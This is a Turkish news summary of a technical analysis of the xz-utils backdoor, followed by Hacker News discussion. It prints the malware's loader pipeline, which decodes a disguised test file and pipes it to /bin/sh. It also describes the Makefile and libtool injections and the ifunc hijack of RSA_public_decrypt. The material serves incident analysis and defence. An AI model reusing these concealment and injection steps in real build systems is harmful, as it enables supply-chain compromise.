1 puan yazan GN⁺ 2024-04-03 | 1 yorum | WhatsApp'ta paylaş
  • xz saldırısı, configure aşamasında kabuk kodu enjeksiyonu ve make aşamasında nesne dosyası enjeksiyonu olarak ikiye ayrılıyor; bu analiz, xz 5.6.0·5.6.1 dağıtım tarball’larındaki betiklerin arka kapı nesne dosyasını derlemeye nasıl soktuğunu izliyor
  • Kötü amaçlı kod ve nesne dosyası, tests/files içindeki ikili test girdi dosyaları gibi sıkıştırılıp şifrelenerek gizlendi ve mevcut README’deki “elle yapılmış test dosyaları” açıklaması bu kamuflajı kolaylaştırdı
  • m4/build-to-host.m4 içine eklenen kod, bad-3-corrupt_lzma2.xz dosyasını bulup tr ve xz -d ile geri açtıktan sonra /bin/sh ile çalıştırıyor; 5.6.1’de ayrıca yeni bir test dosyasından ek betikler arayan bir genişletme mekanizması da bulunuyor
  • configure betiği, src/liblzma/Makefile ve libtool dosyalarını değiştirerek make sırasında da gizli betiğin yeniden çalışmasını sağlıyor ve -z,now ile PIC ilgili bayrakları ayarlayarak ifunc resolver’ın ilk dinamik bağlama anında çalışmasını sağlıyor
  • make aşamasında good-large_compressed.lzma içinden kötü amaçlı nesne çıkarılıp şifresi çözülüyor, ardından crc64_fast.c ve crc32_fast.c derleme çıktıları değiştirilerek _get_cpuid üzerinden RSA_public_decrypt çağrısının ele geçirilmesi sağlanıyor

Saldırının genel yapısı

  • Andres Freund, 2024-03-29 tarihinde oss-security@openwall posta listesinde xz saldırısının varlığını duyurdu
    • Bir gün önce Debian security ve özel distros@openwall listesine de bildirmişti
    • Tetikleyici, Debian sid kurulumunda liblzma ile ilgili anormal belirtiler, yani SSH oturum açarken yüksek CPU kullanımı ve Valgrind hataları görmesiydi
  • Saldırı büyük ölçüde iki aşamadan oluşuyor
    • configure sırasında kabuk kodu enjekte ediliyor
    • Bu kabuk kodu, make içine tekrar kabuk kodu enjekte ediyor ve make sırasında kötü amaçlı nesne dosyasını derlemeye ekliyor
  • Kötü amaçlı nesne dosyası doğrudan depoya evil.o gibi konulsa kolayca şüphe çekebileceğinden, saldırgan kabuk kodunu ve nesne dosyasını ikili test girdi dosyaları içine sıkıştırıp şifreleyerek gizledi
  • tests/files dizini, Jia Tan ortaya çıkmadan önce de vardı ve README bu dosyaların .xz, .lzma, .lz çözücü uygulamalarını test etmek için olduğunu, bazılarının hex editör ile elde oluşturulduğunu ve “dosyanın kendisinden daha iyi kaynak kod yoktur” diye açıklandığını söylüyordu
  • Saldırgan bu bağlamı kullanarak birkaç yeni test dosyası ekliyormuş gibi göründü

Arka kapının hedeflediği çalıştırma noktası

  • Betiğin nihai etkisi, kötü amaçlı nesne dosyasındaki _get_cpuid işlevinin GNU indirect function(ifunc) resolver’ının bir parçası olarak çağrılmasını sağlamak
  • ifunc resolver normalde program çalışırken gecikmeli çağrılabilir, ancak güvenlik nedeniyle hepsinin dinamik bağlamanın başında çağrılması ve GOT·PLT’nin salt okunur eşlenmesi yaygın bir uygulama
  • Kötü amaçlı ifunc resolver, GOT·PLT henüz yazılabilir durumdayken bu erken aşamada çalışabiliyor
  • Arka kapı, tabloda RSA_public_decrypt işlevini bulup saldırgan sürümüyle değiştiriyor
  • Değiştirilen işlev, doğru SSH sertifikası sunulduğunda saldırgan kodunu çalıştırıyor

configure aşaması: build-to-host.m4 kamuflajı

  • xz-utils GNU autoconf kullanır ve normalde configure ile yardımcı m4 dosyaları kaynak deposunda değil, tarball dağıtımında bulunur
  • Saldırı, xz 5.6.0 ve xz 5.6.1 tarball’larına beklenmedik bir yardımcı kütüphane olan m4/build-to-host.m4 dosyasının eklenmesiyle başladı
  • Kötü amaçlı build-to-host.m4, standart dosyayla karşılaştırıldığında makul görünen değişiklikler içeriyor
    • serial değeri 3ten 30a çıkarılıyor
    • telif yılı 2023ten 2023-2024e değiştiriliyor
    • fark edilmesi zor birkaç kabuk·m4 değişikliği daha ekleniyor
  • Asıl çekirdek, grep -aErls "#{4}[[:alnum:]]{5}#{4}$" $srcdir/ ile dağıtım içindeki belirli bir deseni arayan kod
    • Bu desenle eşleşen dosya ./tests/files/bad-3-corrupt_lzma2.xz
    • Sonuç olarak gl_am_configmake, bu test dosyasını işaret ediyor
  • gl_path_map, tr "\t \-_" " \t_\-" olarak ayarlanıyor; böylece sekme·boşluk ile alt çizgi·tire yer değiştiriyor

Gizli ilk betiğin geri açılması

  • gl_[$1]_prefix, dosya adında son noktadan sonraki bölümü çıkararak xz elde ediyor
    • Adı prefix gibi görünse de aslında dosya uzantısı
    • Ayrıca derleme makinesinde büyük olasılıkla zaten kurulu olan sıkıştırma komutunun adı haline geliyor
  • Sonrasında oluşturulan komut dizgesi görünüşte sed "r\n" kullanıyor, ama gerçekte obfuscated bir cat işlevi görüyor
    • sed içindeki r\n, var olmayan \n dosyasını okumaya çalışan bir komut olduğundan hiçbir şey yapmıyor
    • -n olmadığı için girdiyi olduğu gibi çıktı veriyor
  • Gerçekte çalışan komut şu biçimde:
cat ./tests/files/bad-3-corrupt_lzma2.xz | tr "\t \-_" " \t_\-" | xz -d
  • Bu komut AC_CONFIG_COMMANDS üzerinden config.status çalıştırılırken değerlendiriliyor
  • Geri açılan çıktıda ####Hello#### ve ####World#### görülüyor; README’ye göre bad-3-corrupt_lzma2.xz içindeki birinci ve üçüncü akış geçerli xz akışları, ortadaki akışın yalnızca LZMA2 verisi bozulmuş durumda

5.6.0 ile 5.6.1 arasındaki farklar

  • xz 5.6.0’da geri açılan ilk betik, good-large_compressed.lzma içinden belirli bayt aralıklarını kesip dönüştürdükten sonra raw LZMA akışı olarak açıp /bin/she iletiyor
  • xz 5.6.1’in ilk betiği Linux değilse çıkış yapmayı amaçlayan satırı beş kez içeriyor
    • [ ! $(uname) = "Linux" ] && exit 0
    • Sonrasında analiz edilen uzun betikte de 5.6.1’e özgü bir Linux kontrol satırı bulunuyor
    • Bu satırda = çevresinde boşluk olmadığı için çalışmayan bir hata var
  • 5.6.1’de head için son bayt sayısı, tail ofseti ve tr argümanları 5.6.0’dan farklı
    • Örnekte 5.6.1, 16×2048+939 = 33,707 bayt çıkarıyor
    • Ardından tail -c +31233 ile son 31,233 baytı kullanıyor
  • Çıkarma boru hattı şu adımlardan oluşuyor
    • xz -dc ile good-large_compressed.lzma sıkıştırmasını açma
    • head boru hattı ile belirli bayt aralığını çıkarma
    • tail ile son kısmı seçme
    • tr ile basit bir yerine koyma şifresi uygulama
    • xz -F raw --lzma1 -dc ile raw LZMA akışını açma
    • Sonucu /bin/sh ile çalıştırma

5.6.1’in genişletme mekanizması

  • Uzun betikte ayarlanmamış değişkenleri eval eden birkaç nokta var
    • Örnek: eval $zrKcVq, eval $zrKcSS
    • Bunlar hata ayıklama çıktısı için ya da gelecekte başka mekanizmalarda değer atanacak genişletme noktaları olabilir
  • config.status varsa betik LD, CC, GCC, srcdir, build, enable_shared, enable_static, gl_path_map gibi değerleri okuyor
  • 5.6.1’e yeni eklenen genişletme kodu, tests/files içinde iki sihirli dizge arıyor
    • Başlangıç dizgesi: ~!:_ W
    • Bitiş dizgesi: |_!{ -
  • İki dizge aynı dosya içindeyse, aradaki baytları çıkarıyor, tr ve raw LZMA2 açma işleminden geçiriyor ve çıktıyı eval ediyor
  • Bu mekanizma, daha sonra mevcut ikili test dosyalarını yeniden oluşturdu denmesine gerek kalmadan başka test dosyalarının içine yeni betikler koymak için tasarlanmış görünüyor

configure aşamasındaki çalıştırma koşulları

  • Betik, arka kapı için gerekli koşullar sağlanmıyorsa sessizce çıkıyor
  • GNU ifunc desteği etkin olmalı
    • config.status içinde ["HAVE_FUNC_ATTRIBUTE_IFUNC"]=" 1" bulunmalı
    • config.h içinde define HAVE_FUNC_ATTRIBUTE_IFUNC 1 bulunmalı
  • Paylaşımlı kütüphane derlemesi açık olmalı
    • enable_shared değeri yes olmalı
  • Derleme hedefi x86-64 Linux olmalı
    • build, ^x86_64 ve linux-gnu$ koşullarını sağlamalı
  • CRC ifunc ile ilgili kaynaklar yerinde olmalı
    • crc64_fast.c
    • crc32_fast.c
    • crc_x86_clmul.h
  • Derleyici ve bağlayıcı koşulları da denetleniyor
    • GCC=yes
    • CC=gcc
    • LD -v çıktısında GNU ld bulunmalı
  • Arka kapıyı taşıyan test dosyaları good-large_compressed.lzma ve bad-3-corrupt_lzma2.xz de mevcut olmalı

Makefile ve libtool değişiklikleri

  • Eğer debian/rules varsa veya RPM_ARCH=x86_64 ise, configure aşamasında src/liblzma/Makefile dosyasını değiştiren kod çalışıyor
  • Önce Makefile içinde daha sonra ekleme noktası olarak kullanılacak çeşitli satırların varlığı denetleniyor
    • ACLOCAL_M4 = $(top_srcdir)/aclocal.m4
    • am__uninstall_files_from_dir = {
    • am__install_max =
    • am__vpath_adj_setup =
    • am__include = include
    • all: all-recursive
    • LTLIBRARIES = $(lib_LTLIBRARIES)
    • AM_V_CCLD = $(am__v_CCLD_$(V))
  • libtool içinde pic_flag=" -fPIC -DPIC" satırının varlığı da kontrol ediliyor
  • Sonrasında sed -i ile Makefile’ın çeşitli yerlerine şu tür satırlar dağıtılıyor
    • am__test = bad-3-corrupt_lzma2.xz
    • am__strip_prefix = tr ...
    • am__dist_setup = ... | xz -d ... | $(SHELL)
    • am__test_dir = $(top_srcdir)/tests/files/$(am__test)
  • am__test_dir, adıyla dizin gibi görünse de aslında bir dosyayı işaret ediyor
  • Eklenen satırlar tek bir yerde toplanmıyor; Makefile’ın geneline dağılmış halde bırakılarak oluşturulan dosyanın makul ölçüde karmaşık görünmesi sağlanıyor

Bağlayıcı bayrakları ve özyinelemeli çalıştırma

  • configure aşamasındaki betik, liblzma_la_LDFLAGS içine -Wl,--sort-section=name,-X ekliyor
  • Mevcut LDFLAGS içinde -z,now veya -z -Wl,now yoksa -z,now da ekleniyor
  • -Wl,now, dinamik yükleyicinin program başlarken tüm sembolleri çözmesini sağlayarak LD_BIND_NOW davranışını zorluyor
    • Bu süreçte ifunc resolver başlangıçta çalışıyor
    • Arka kapı, GOT·PLT henüz yazılabilirken çalışabiliyor
  • libtool içindeki PIC bayrakları şöyle değiştiriliyor
    • Önce: -fPIC -DPIC
    • Sonra: -fPIC -DPIC -fno-lto -ffunction-sections -fdata-sections
  • Betik ayrıca AM_V_CCLD ve uzun bir kabuk parçasını Makefile’a ekliyor
    • Sonunda sed rpath $(am__test_dir) | $(am__dist_setup) çalıştırılıyor
    • sed rpath de yine obfuscated bir cat görevi görüyor
  • Sonuçta make sırasında aşağıdaki boru hattı yeniden çalıştırılıyor
cat ./tests/files/bad-3-corrupt_lzma2.xz |
tr "\t \-_" " \t_\-" |
xz -d |
/bin/sh

make aşaması: nesne dosyasının çıkarılması

  • make aşamasında betik, src/liblzma dizininde yeniden çalışıyor
  • config.status geçerli dizinde olmadığı için configure aşamasındaki Makefile düzenleme kısmı atlanıyor
  • Onun yerine .libs/liblzma_la-crc64_fast.o ve .libs/liblzma_la-crc32_fast.o varsa make sırasında olunduğu varsayılıyor ve sonraki kod çalıştırılıyor
  • 5.6.1’de make aşaması için yeni bir genişletme kancası da eklenmiş
    • Başlangıç dizgesi: jV!.^%
    • Bitiş dizgesi: %.R.1Z
    • Bu dizgeleri taşıyan bir test dosyası yok; gelecekteki genişletmeler için hazırlanmış görünüyor
  • CRC ifunc ile ilgili kaynakların beklenen durumda olup olmadığı yeniden kontrol ediliyor
  • configure aşamasında eklenen derleyici·bağlayıcı bayraklarının uygulanıp uygulanmadığı da denetleniyor
    • ../../libtool içinde ek PIC bayrakları bulunmalı
    • liblzma_la_LINK içinde -z,now veya -z -Wl,now bulunmalı
    • lazy geçiyorsa çıkılıyor

Kötü amaçlı nesnenin şifresinin çözülmesi ve seçimi

  • Betik, gettext.m4 içeriğine göre iki ofset değerinden birini seçiyor
    • Dağıtılan xz tarball içindeki gettext.m4 dosyasında denetlenen dizge olmadığından, örnek derlemede tüm girdi alınıyor
  • good-large_compressed.lzma tekrar açılıyor ve daha önce ayarlanan head boru hattı i ile 33,707 bayt çıkarılıyor
  • Bu çıktı bayt bazında bölünüyor ve awk ile RC4 benzeri bir çözme işlevi çalıştırılıyor
    • 5.6.1 sürümünde ikinci döngü 8192’ye kadar dönüyor
    • 5.6.0 sürümünde aynı konumdaki döngü 4096’ya kadar dönüyor
  • Çözülmüş çıktı, xz -dc --single-stream ile yeniden açılıyor
    • --single-stream, ilk xz EOF işaretinde durarak daha önce tail ile çıkarılan bölgenin okunmamasını sağlıyor
  • Nihai sonuç liblzma_la-crc64-fast.o dosyasına yazılıyor

CRC nesnelerinin değiştirilmesi

  • Betik, gerçek derleme çıktısı olan .libs/liblzma_la-crc64_fast.o dosyasını benzer adlı .libs/liblzma_la-crc64-fast.o dosyası olarak yedekliyor
    • Alt çizgi (crc64_fast) ile tire (crc64-fast) farkından yararlanılıyor
  • Ardından crc64_fast.c, sed ile değiştirilmiş haliyle derleniyor ve çıkarılan kötü amaçlı nesne liblzma_la-crc64-fast.o ile birlikte girdi olarak verilerek .libs/liblzma_la-crc64_fast.o üzerine yazılıyor
  • Eklenen C kodu _is_arch_extension_supported işlevini yeniden oluşturuyor ve içinde _get_cpuid çağrılıyor
  • Mevcut crc64_resolve, is_arch_extension_supported() yerine _is_arch_extension_supported() çağıracak şekilde değiştiriliyor
  • _get_cpuid, arka kapı nesne dosyasının sağladığı işlev ve cpuid bilgisini döndürmeden önce ek işlem yapıyor
    • Özellikle GOT·PLT’yi değiştirerek RSA_public_decrypt çağrısını ele geçiriyor

crc32 tarafı ve temizlik

  • crc64 değişikliği başarılı olursa betik, crc32_fast.c üzerinde de benzer bir değişiklik uyguluyor
  • crc32 tarafına arka kapı nesne dosyası eklenmiyor
    • Amaç, arka kapı nesnesini derlemeye iki kez sokmamak
  • Neden hem crc32 hem crc64 ifunc’un ele geçirildiği net değil
    • Analize göre bunlardan yalnızca biri bile yeterli görünüyor
    • Hata ayıklayıcıda iki dispatch kodunun benzer görünmesi amaçlanmış olabilir
  • İki derleme de başarılı olursa liblzma_la_LINK ile .la dosyası yeniden bağlanıyor
  • Bağlama başarılı olsa bile .libs/liblzma.so yoksa işlem başarısız sayılıyor ve yedekler geri yükleniyor
  • Başarı durumundan bağımsız olarak .libs/liblzma.a, .libs/liblzma.la, .libs/liblzma.lai, .libs/liblzma.so* siliniyor
    • Sonrasında Makefile’daki özgün bağlama aşamasının bunları yeniden oluşturacağı varsayılıyor
  • Başarısızlık yolunda yedeklenen crc32·crc64 nesneleri özgün adlarına geri döndürülüyor
  • Sonunda geçici ve yedek dosyalar silinerek make çıktıları içine kötü amaçlı nesne enjekte edilip iz bırakmamaya çalışılıyor

1 yorum

 
GN⁺ 2024-04-03
Hacker News görüşleri
  • Uzun zamandır autotools’tan hoşlanmayan biri olarak, bu olayın duruşumu haklı çıkardığını söylemek isterim ama çoklu platform desteği verecek kadar karmaşık bir build sistemi, birilerinin böyle bir şeyi araya sıkıştırabileceği kadar kaçınılmaz biçimde anlaşılmaz hale geliyor
    Yine de birçok yazılımın fiilen kimsenin tamamını anlamadığı devasa kargo kültü tarzı shell script’ler ile build ediliyor olması gerçekten bir sorun

    • Bence bunun temel nedeni, bash’in ve karmaşık, sıkışık sözdizimine sahip dillerin yaygın kullanımı
      Build script’i Python ile yazılmış olsaydı arka kapıyı bu kadar zor fark edilir biçimde gizlemek çok daha zor olurdu. Garip kod herkesin gözüne batardı. Bash kodu ise okunmasa bile normalmiş gibi kabul edilme eğiliminde
    • autotools eleştirisini anlıyorum ve configure script’lerini bakımını yapan insanlara hiç özenmedim ama kullanıcı açısından bakınca, neredeyse her yazılım kurulumunun ./configure && make && make install ile bittiği günleri özlüyorum
    • autotools ortadan kalkmalı ama build sistemi karmaşıklığını doğuran temel kullanım durumlarının çoğu bağımlılık yönetimi ve tespitine çıkıyor
      Bu akış için doğru uygulama örneklerinin tamamen eksik olması karmaşıklığın asıl kökü, bu yüzden böyle koşullarda bunu mybuild.toml gibi tek bir build ayarıyla çözmek mümkün değil
    • Katılıyorum; sonuçta bu kadar geniş bir platform yelpazesini desteklemeye çalışınca karmaşık sistemler gerekiyor ve bu da bize ne kadar büyük bir risk aldığımızı sorduruyor
      Ayrıca sıkıştırma kütüphanesi gibi özünde sadece matematik ve bellek ayırma yapan bir şeyi build etmek için neden karmaşık bir sisteme ihtiyaç duyulduğunu da sorgulatıyor
    • Ben de aynı fikirdeyim. Tüm bu olanları m4’ün üstüne yıkma cazibesi güçlü ama bu daha çok travmanın konuşması olur
  • Geliştirici olarak şaşırtıcı olan ve bana üst düzey bir saldırı tekniği gibi görünen şeyin, bu seviyede çalışan insanlar için muhtemelen alt-orta zorlukta olabileceğini göstermesi
    HN’de bunun çok daha üst seviye örnekleri de çıkıyor; yani yeterli para ya da başka teşvikler varsa bunun yapılabileceklerin sadece başlangıcı olduğunu düşünüyorum. GitHub’daki sayısız paket ve milyonlarca kütüphane düşünülünce bu vektör fazla etkili; önümüzdeki birkaç ay içinde buna benzer yüzlerce olayın ortaya çıkacağına eminim
    Philips Hue’dan Alexa’ya, SumUp’tan kamera üreticilerine, Netgear ve TP-Link’e kadar tüketici ve prosumer donanım üreticileri beni endişelendiriyor. Ürünlerin içinde açık kaynak kütüphaneler dolu ve geliştirme ekiplerinin çoğunun bu tür gizli enjeksiyon vektörlerini aramaya zaman ayırmadığına %100 eminim

    • “Geliştirme ekiplerinin çoğu bu tür gizli enjeksiyon vektörlerini aramaya zaman ayırmıyor” mantığını anlamakta zorlanıyorum; daha çok bağımlılık cehennemini suçlayan tarafın bu senaryoyu açık kaynak bakımcılarını daha kötü göstermek için kullandığı hissini veriyor
      Güvenilirlik iddiası taşıyan ticari bir kuruluş, bir bağımlılığı benimsemeden önce tedarik zinciri analizi yapar. Bu yüzden insanlar genelde istikrarlı Linux dağıtımlarının bakımı için Red Hat’e para öder ve FreeBSD gibi projeler varsayılan kurulumda yer alan yazılımları ciddi biçimde sınırlar
      Bundan etkilendiyseniz üzücü ama bu sizin sorumluluğunuz. Bedava bira misali ücretsiz kullandığınız yazılımı geliştiren kişinin bir gün kötüye döneceğinden korkuyorsanız, bunu yapmaması için bir teşvik sunun, yani para ödeyin; ya da projeyi fork edip kendi güvenlik önlemlerinizi ekleyin
      Ticari yazılım bağımlılıklarınızda tedarik zinciri saldırısı olmasından endişe ediyorsanız, bunun doğuracağı zararların tazminini içeren bir sözleşme müzakere etmeniz gerekir. Bunu yapmaya niyetiniz yoksa profesyonel davranmıyorsunuz demektir
      Ekleyeyim: SSH gibi en temel bağımlılıkların bile tedarik zincirinin incelenmesi gerektiğini ciddi ciddi söylüyorum
    • Aslında tam tersi. Bizden daha bilgili geliştiriciler ve bakımcılar bu olayı son derece sofistike bir saldırı olarak tanımladı
      İlk bilgi güvenliği yazıları da kodun yalnızca bazı kısımlarını açıklayabiliyordu; saldırının bütün stratejisini ele alamıyordu. Bunun nedeni saldırının ve kodun sofistike olmasıydı. İlk analizlerin saldırıyı birbirinden farklı biçimde anlatması da anlamasının kolay olmamasındandı; ancak daha sonra “nihayet bunun bir remote code execution saldırısı gibi göründüğü” yönünde yazılar çıktı
      Şimdi sunucularda açığı tespit eden tarayıcılar bile çıktığı için herkes “aa, bu çok basit ve aptalca bir saldırıymış, neden daha önce bulamadık?” diyebiliyor sadece
    • Bu yüzden TP-Link’in router firmware’ini OpenWRT tabanlı yapmasının bir avantaj olduğunu düşünmüyorum. Cihazımda saf upstream bir proje ya da tasarım gereği upstream’i takip eden bir şey çalışmasını isterim
      Aynı şey tüm cihazlar için geçerli. Android’in eski kernel kullanmak zorunda olmasından da hoşlanmıyorum, macOS’un eski Darwin/BSD türevleri çalıştırması da hoşuma gitmiyordu. Backport için gereken emek beni düşündürüyor
      Tabii bu, açık kaynakta açık olmadığı anlamına gelmiyor
    • Az çok düzgün işleyen bir organizasyonun, bağımlılıklarda güvenlik sorunu çıktığında güncelleme alacak bir mekanizması vardır. Sektöre göre PCI gibi düzenleyiciler veya sertifikasyon kurumları da bunu şart koşabilir
      Belki de asıl korkmamız gereken, neredeyse hiç keşfedilmeyecek kapalı kaynak yazılım içindeki görünmez arka kapılardır
  • Görünüşe göre Thomas Roccia’nın infografiğinden burada henüz bahsedilmemiş: https://twitter.com/fr0gger_/status/1774342248437813525

    • Büyük kısmı, elde sağlam dayanak olmadan ipuçlarını zorla birbirine bağlama hissi veriyor
      Örneğin oss-fuzz GitHub deposunu doğrudan klonlayıp xz build ediyordu. Arka kapı depoda değil yalnızca tarball içinde olduğu için, oss-fuzz’ın arka kapıyı bulma ihtimali yoktu. Dolayısıyla o oss-fuzz PR’ı arka kapıyla ilgisiz, gerçek bir değişiklik de olabilir
    • Jia Tan, ifşa edilmeden hemen önce dağıtımlardan hızlı güncelleme istemişti
      Andreas Freund çevresinde, arka kapının ortaya çıkacağını daha erken öğrenmiş başka bir hesap ya da kişinin olma ihtimali ne kadar yüksek? Hâlâ çevrede başka içeriden kişiler olabileceğini düşündürüyor
    • Bu materyal yalnızca exploit’in liblzma’ya yerleştirilme sürecini yüksek seviyede kısmen gösteriyor; exploit’in nasıl çalıştığını ya da içeriğini ise hiç ele almıyor
    • Zaman çizelgesine bakınca saldırının .gitignore dosyasına yok sayma girdileri eklemekle başladığı görülüyor. Günümüzde bunun gibi şeyleri tespit etmek zor
  • Saf bir gözlemci açısından en göze çarpan kısım şu
    “Birçok dosya hex editörle elle oluşturulduğu için, dosyanın kendisinden daha iyi bir ‘kaynak kod’ yok.” liblzma gibi ayrıştırma kütüphanelerinde bunun mümkün olabileceği anlaşılabiliyor. Saldırgan da muhtemelen sadece birkaç yeni test dosyası ekliyormuş gibi görünmüştür
    Dosyanın kendisi ürkütücü ama nedenini anlıyorum. Yine de en azından build sürecinden ayrı tutulamaz mı
    “Normalde configure betikleri ve destek kütüphaneleri kaynak deposuna değil, yalnızca tarball dağıtımlarına eklenir. xz dağıtımı da bu şekildedir.”
    autotools’a yönelik ritüel öfkeyi bir kenara bırakırsak, test dosyalarının neden tarball’ın içinde olması gerektiğini anlayamıyorum. Kötü niyetli testler geliştirici makinesine bulaşabilir, ama tarball nihai çıktıyı derlemek içinse yalnızca gerekli olanları içermesi gerekmez mi? Özellikle de test dosyaları denetlenemez ikili yığınlar ise bu daha da geçerli

    • Build’den sonra belirli ortamlarda sorun olup olmadığını doğrulamak için CI’da test çalıştırmak oldukça yaygındır
      Yine de biz bunu en son yaptığımızda upstream Git’i tercih etmiş, gerekli autoconf çıktıları ise kendimiz üretmiştik. Git’te olmayan içerik barındıran bir sürüm tarball’ı fikri bana hiçbir zaman hoş gelmedi
    • İçinde bir miktar üretilmiş autoconf kodu bulunsa da bunlar hâlâ kaynak tarball’larıdır
      Hedef makinede kodu derledikten sonra testleri çalıştırabilmeniz gerekir
    • Hedefte derlenen programın düzgün çalıştığını doğrulamanın yanında, profil güdümlü optimizasyon ile derleme yapmak için optimize edilecek çalışan örneklere ihtiyaç olduğundan testler de gerekir
  • “İlk fark, betiğin Linux üzerinde çalışmıyorsa kesinlikle, ama kesinlikle sonlanmasını sağlaması.”
    Tekrarlanan kontrol gerçekten gizemli. Benim varsayımım, saldırganın bunu sıkıştırma kütüphanesinin test girdisi gibi daha inandırıcı göstermek için tekrarı eklemiş olabileceği yönünde

    • Amaç, betiği değiştirmek için alan açmak olabilir. Çünkü betiğin baş tarafındaki baytların üzerine yazabiliyorsunuz
      Ya da sadece üşengeçlik olabilir
    • Ben de bunu tuhaf bulmuştum. Betiğin başlangıcına farklı rastgele baytlar da eklenmiş; üstelik bunlar metin değil, gerçekten rastgele baytlar. Ancak başlarında diyez işareti olduğundan yorum satırı sayılıyorlar ve betiği etkilemiyorlar
      Kasıtlı görünüyor ama neden orada olduklarını bilmiyorum. Acaba xz girdinin çok kısa ya da yeterince karmaşık olmaması durumunda sıkıştırmayı atladığı için boyutu doldurmak amacıyla mı eklediler diye düşündüm, ancak onları çıkarıp xz ile yeniden sıkıştırdıktan sonra da düzgün sıkıştırıldı ve özgün düz metin sıkıştırılmış arşiv baytları içinde kalmadı
      Git’e commit edilen .xz dosyasının tam baytlarını yeniden üretmeye çalışırken fark ettiğim şey, o betiğin xz akışının varsayılan xz preset’iyle sıkıştırılmış gibi görünmemesiydi. Bunu ancak xz --lzma2=dict=65536 -c stream_2 ile yeniden üretebildim; numaralı varsayılan preset’lerin hepsi farklı bir sözlük boyutu seçiyordu. Bu da kasıtlı görünüyor ama nedenini anlayamadım
    • Amaç, sıkıştırılmış test dosyasının bir kısmını büyütmek ya da karartmak olabilir mi
      Tekrarlar olmasaydı sıkıştırılmış dosyanın içinde güvenlik araçlarını veya antivirüsü tetikleyen garip bir ikili veri oluşmuş olabilir
    • Bu gerçekten bir gizem mi? Saldırgan muhtemelen Linux x86 hedefliyordu ve IFUNC desteğinin başka platformlarda çalışacağının garantisi yok
    • Linux dışındaki yerlerde çalışırsa işletim sistemi farkları nedeniyle çökebilir ya da iz bırakıp fark edilmesine yol açabilirdi
  • Modern teknolojinin aşırı derecede karmaşık ve gereksiz biçimde anlaşılmaz hâle gelmiş olması trajikomik; üstelik giderek daha da kötüleşiyor. Geliştiriciler sanki bundan mazoşistçe keyif alıyor gibi

    • Bu muhtemelen yapılabilecek en kötü yorum
      Ürettiğimiz ürünlerin karmaşıklığı arttıkça araçların buna ayak uydurması aslında oldukça etkileyici. Dürüst olmak gerekirse çoğu durumda işler sadece daha basit hâle geliyor; mesele daha çok insanların yeni şeyler öğrenmek istememesi gibi görünüyor
  • Bu projeye sızmaları için bu kişileri tutan biri, muhtemelen uzun süre tespit edilmemelerini sağlamak için inanılmaz miktarda zaman harcamıştır. Neyse ki saldırı o kadar karmaşıktı ki tüm unsurları hesaba katamadılar
    Bu yüzden güvenlik açısından açık kaynağın her zaman kapalı kaynaktan daha iyi olacağını düşünüyorum. Elbette bu olay tedarik zincirindeki devasa bir kusuru ortaya çıkardı ve FOSS'un temel bileşenlerinin ne kadar değersiz görüldüğünü, bu yüzden de bakımcıların manipülasyona ne kadar açık olduğunu gösterdi
    Ama aynı saldırı özel bir şirket içinde gerçekleşseydi? Büyük ihtimalle ileri düzey obfuscation bile gerekmezdi. Yeterince büyük bir PR ve yaklaşan bir teslim tarihi varsa, bunu çok az çabayla üretim sistemine gizlice sokabilirsiniz. Şirket ne olduğunu fark ettiğinde ise, siz çoktan iade anlaşması olmayan bir ülkeye uçmuş, Tor ya da dark web'de sızdırılmış verileri satıyor olurdunuz

    • Burada bir hayatta kalan yanlılığı olduğunu düşünüyorum. Benzer girişimlerden kaç tanesinin başarılı olduğunu nasıl bilebiliriz? Keşfedilenlerin kaçı basit bir hata diye geçiştirildi? Örneğin Heartbleed'in birinin bilerek yerleştirdiği bir şey olmadığından ve o kişinin şu anda aşırı zengin olmadığından nasıl emin olabiliriz?
      Özel bir şirkete işe alındığınızda şirket sizin kim olduğunuzu bilir. Bu bile tek başına, şüpheli işler yapmaya karşı anında bir caydırıcıdır. GitHub'da ise kimse sizin kim olduğunuzu bilmez. Yakalanmadan bir projeye arka kapı yerleştirmek daha zor olabilir, ama yakalansanız bile alacağınız bir risk yoktur. İstediğiniz kadar denemeye devam edebilirsiniz. Jia Tan hâlâ yakalanmadı ve iade anlaşması olmayan bir ülkede yaşamak için tüm hayatını planlaması da gerekmedi. Tabii zaten böyle bir yerde değilse
    • Katılmak zor. Çoğu özel şirket işe girerken yüz yüze görüşme ister. Tamamen uzaktan çalışılsa bile, eninde sonunda iş arkadaşlarınızı gerçek hayatta göreceğiniz varsayılır; üstelik bu genelde anlamlı commit'ler yapmadan önce olur. Sızmaya değecek bir şirketse, neredeyse kesin olarak geçmiş kontrolü de ister
      Ayrıca içeri girdikten sonra da hedef projeye canınızın istediği gibi commit atamazsınız. Yöneticinizin ve onun üstündeki yöneticinin başka öncelikleri vardır. Kâr amaçlı şirketlerde sık görülen işlev bozukluğu düzeyindeki yönetim, burada aslında caydırıcı olarak işler. Yalnızca kodun kendisini gerekçelendirmek yetmez; en başta neden o işi yaptığınızı da açıklamanız gerekir
    • Biraz konu dışı ama, bugünlerde ABD açısından bakınca gerçekten iade anlaşması olmayan ülkeler ne kadar kaldı?
      İlişkilerin gergin olduğu ülkeler bile, siyasi olarak işlerine gelirse bir pazarlığın parçası olarak iade edebilir. Rusya bile Snowden devlet sırlarını ifşa etmemiş olsaydı muhtemelen onu elinde tutmazdı. Sıradan bir veri sızıntısı olsaydı, belki başka bir yerde kara para aklama suçundan yakalanan bir oligarkla esir takası bile yaparlardı
    • Küçük ve görece zararsız görünen ama neredeyse her yerde kullanılan projeleri araştırıp, aynı şekilde ele geçirilip geçirilemeyeceklerine ya da benzer bir şeyin zaten yaşanıp yaşanmadığına bakmak bir ders projesi olarak ilginç olabilir
      Sırf bir liste yapmak bile faydalı olurdu
  • Bu olaydan çıkarılacak ders, önemli açık kaynak projelerinin çekirdek katkı sağlayıcılarına anonimlik tanınmaması gerekebileceği olabilir. Bu saldırı başarılı oldu ve saldırgan muhtemelen hiçbir bedel ödemeden kurtulacak; çünkü anonimdi

    • Katılmıyorum
      Böyle bir önlem yardımcı olmaz ve devlet destekli aktörler ya da benzeri ileri kalıcı tehditler için saldırı sürecine bir kimlik hırsızlığı adımı daha eklemekten ya da arka kapı ortaya çıksa bile korunabilecek bir ajan kullanmaktan ibaret olur; yani kolayca aşılabilir
      Buna karşılık, böyle bir süreç için gereken teknik engellerin tüm açık kaynak topluluğuna büyük zarar verme ihtimali çok yüksek
